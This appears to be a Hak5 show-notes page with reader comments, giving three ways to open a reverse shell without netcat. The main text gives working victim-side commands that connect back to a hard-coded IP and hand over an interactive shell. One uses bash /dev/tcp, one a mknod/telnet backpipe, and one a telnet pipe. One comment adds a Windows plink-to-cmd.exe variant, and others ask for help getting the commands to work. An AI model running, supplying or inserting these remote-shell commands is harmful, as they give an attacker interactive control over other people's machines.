Details

We're setting up bind shells to netcat, without using netcat! Darren features three methods to create reverse shell connections to the Internet's favorite TCP/IP swiss army knife.

Download HD Download MP4

Netcat without Netcat with Mad Props to Rami

Method 1:

Hacker: nc -l -n -vv -p 8080
Victim: /bin/bash -i > /dev/tcp/173.214.173.151/8080 0<&1 2>&1

Method 2:

Hacker: nc -l -n -vv -p 8080
Victim: mknod backpipe p && telnet 173.214.173.151 8080 0backpipe

Method 3:

Hacker: nc -l -n -vv -p 8080
Hacker: nc -l -n -vv -p 8888
Victim: telnet 173.214.173.151 8080 | /bin/bash | telnet 173.214.173.151 8888

So that leads me to ask, what programs, commands or scripts are rocking your world? Hit us up -- tips@hak5.org, or simply leave a comment below.

And be sure to check out our sister show, Hak5 for more great stuff just like this.

Leave a Reply

Your email address will not be published. Required fields are marked *

*

8 Comments

  • sheep 2 years ago

    Is there any Netcat without Netcat for Windows? ..nice show :-)

    • Lares0 2 years ago

      Hey sheep!

      Telnet is not installed on my Windows machine, so I did it with plink which is the command line version of PuTTY.
      So it might be a litte bit different with the normal telnet.


      plink 173.214.173.151 -P 8080 -telnet | cmd.exe | plink 173.214.173.151 -P 8888 -telnet

      • Uoc Nguyen 2 years ago

        @Lares0: you can install it from Add/Remove Window’s Addons / component

        Available on Windows XP/Vista/7/8

      • Dani 1 year ago

        On Windows 7 (i have installed telnet client) but “telnet 192.168.17.129 8080 | cmd.exe | telnet 192.168.17.129 8888″ this is not working. Attacker side is not getting anything!
        HEEEELP!

  • ojosrojo 2 years ago

    - Very nicely done, thanks for sharing. – I love the new green-screen look to the show, makes the show much easier to watch and follow the examples. Nice going Darren, you certainly have gone from Dweeb To Adonis! /Ojos

  • Some little things:
    Method 1: with netcat-bsd 1.89 it only works without -p
    nc -l -n -vv 8080

    Method 2 Victim: in the Video it’s
    mknod backpipe p && telnet 173.214.173.151 8080 0backpipe
    this one works for me, the line in the description here not

    • YAHYA 6 months ago

      Is there any way to transfer file from linux to windows using netcat on linux but without installing on windows…

  • YAHYA 6 months ago

    I am newbie to this website,it’s awesome to get tips and tricks moreover hacking also…